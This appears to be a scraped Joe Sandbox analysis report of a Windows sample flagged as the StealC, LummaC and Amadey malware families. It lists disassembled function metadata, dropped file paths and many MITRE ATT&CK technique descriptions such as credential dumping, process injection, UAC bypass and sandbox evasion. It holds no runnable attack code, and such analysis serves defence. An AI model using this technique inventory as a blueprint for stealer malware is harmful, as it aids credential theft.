Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: CountCriticalDebugDebuggerInitializeOutputPresentSectionSpinString
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 55579361-631824599
Opcode ID: fb08084739afbc4d37c1ab260c68633977cfc84ccfbbed7826674d1109a23e9c
Instruction ID: 16385c4b6f840815d8188396ef69e382421e4563fb5a698d67226bfbd56bb1f7
Opcode Fuzzy Hash: fb08084739afbc4d37c1ab260c68633977cfc84ccfbbed7826674d1109a23e9c
Instruction Fuzzy Hash: 8DE06D702003158BD370AFB8D9087927BE8AF04B40F00892DE486C6756DFB5E44CEB91

Function 00FD3017 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 18COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000104,?,00000001), ref: 00FD302F
GetTempFileNameW.KERNEL32(?,aut,00000000,?), ref: 00FD3044

Strings

aut, xrefs: 00FD3038

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Temp$FileNamePath
String ID: aut
API String ID: 3285503233-3010740371
Opcode ID: 42caaef7eed48a3f7f2a324d980c92777042108737d13e351fce946985865064
Instruction ID: 989631d992cf48c0139d431a6ffe8c57365e315e668099a3f81a81e7925b7b04
Opcode Fuzzy Hash: 42caaef7eed48a3f7f2a324d980c92777042108737d13e351fce946985865064
Instruction Fuzzy Hash: AAD05E7250033CA7DA20A7A5AD4EFDB3A6CDB04650F0002A1BA95D6092DAB09984CAD0

Function 00FBD21C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 00FBD220

Strings

%.3d, xrefs: 00FBD22B
X64, xrefs: 00FBD2A8

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: LocalTime
String ID: %.3d$X64
API String ID: 481472006-1077770165
Opcode ID: 00f4b7cf9dd2b166bf0cb693802ea56712bfaede55a24737bbf1908fedaa74c8
Instruction ID: be9e4c01737edf7aac837181272f9b6847830d3e8991afef6995a467ce74b985
Opcode Fuzzy Hash: 00f4b7cf9dd2b166bf0cb693802ea56712bfaede55a24737bbf1908fedaa74c8
Instruction Fuzzy Hash: 84D01262C05159E9CB5096D1CC45AF9B37CEF58301F50C466F90AD1000F628C508BF63

Function 00FF2356 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00FF236C
PostMessageW.USER32(00000000), ref: 00FF2373

Part of subcall function 00FCE97B: Sleep.KERNEL32 ref: 00FCE9F3

Strings

Shell_TrayWnd, xrefs: 00FF2365

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: 0622e6fb466fced4e3c9831e22fe6d4c6f6d8e5000e478e09a2aa01ae84c5e64
Instruction ID: afe079eb624afd445d3bd23386bc30590b593c0aacffdd7c09fcbcb948f07c49
Opcode Fuzzy Hash: 0622e6fb466fced4e3c9831e22fe6d4c6f6d8e5000e478e09a2aa01ae84c5e64
Instruction Fuzzy Hash: D6D022323C03287BE264B730EE0FFC67618AF00B00F00091AB745EA1D0C8F0B800DA84

Function 00FF2322 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00FF232C
PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 00FF233F

Part of subcall function 00FCE97B: Sleep.KERNEL32 ref: 00FCE9F3

Strings

Shell_TrayWnd, xrefs: 00FF2325

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: 62d1a746c757c08a215c7b3199bae9c5e216bb86ba78b8d204183a00151ba93e
Instruction ID: 8d446fb4d4b62dde30dbabd611cb6445ed1be3c980b09e64cd80b3a95571efe3
Opcode Fuzzy Hash: 62d1a746c757c08a215c7b3199bae9c5e216bb86ba78b8d204183a00151ba93e
Instruction Fuzzy Hash: 70D01276394328B7E664B771EE0FFD67A18AF00B10F04491AB749EA1D0D9F4A811DA94

Function 00F9BDFD Relevance: 5.1, APIs: 4, Instructions: 139COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000009,?,00000000,00000000,?,?,?,00000000,?,?,?,?,?,00000000,?), ref: 00F9BE93
GetLastError.KERNEL32 ref: 00F9BEA1
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00F9BEFC

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID:
API String ID: 1717984340-0
Opcode ID: 53d7ef8ac76a174c996235f8a69a7c9dbd622d2ac2f64c99aea9cbf4f35345bf
Instruction ID: 11172a842e82981b3ae0e88faf28f1e44148f7a63378c5b92997aa4771848461
Opcode Fuzzy Hash: 53d7ef8ac76a174c996235f8a69a7c9dbd622d2ac2f64c99aea9cbf4f35345bf
Instruction Fuzzy Hash: FE411C35A0420AEFEF219FA4EE44BBA7BA9EF41334F144159F959971A1DB718C00FB60

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\BF3BS0M5707K28RGW9.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe

C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe

Windows Analysis Report
file.exe

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre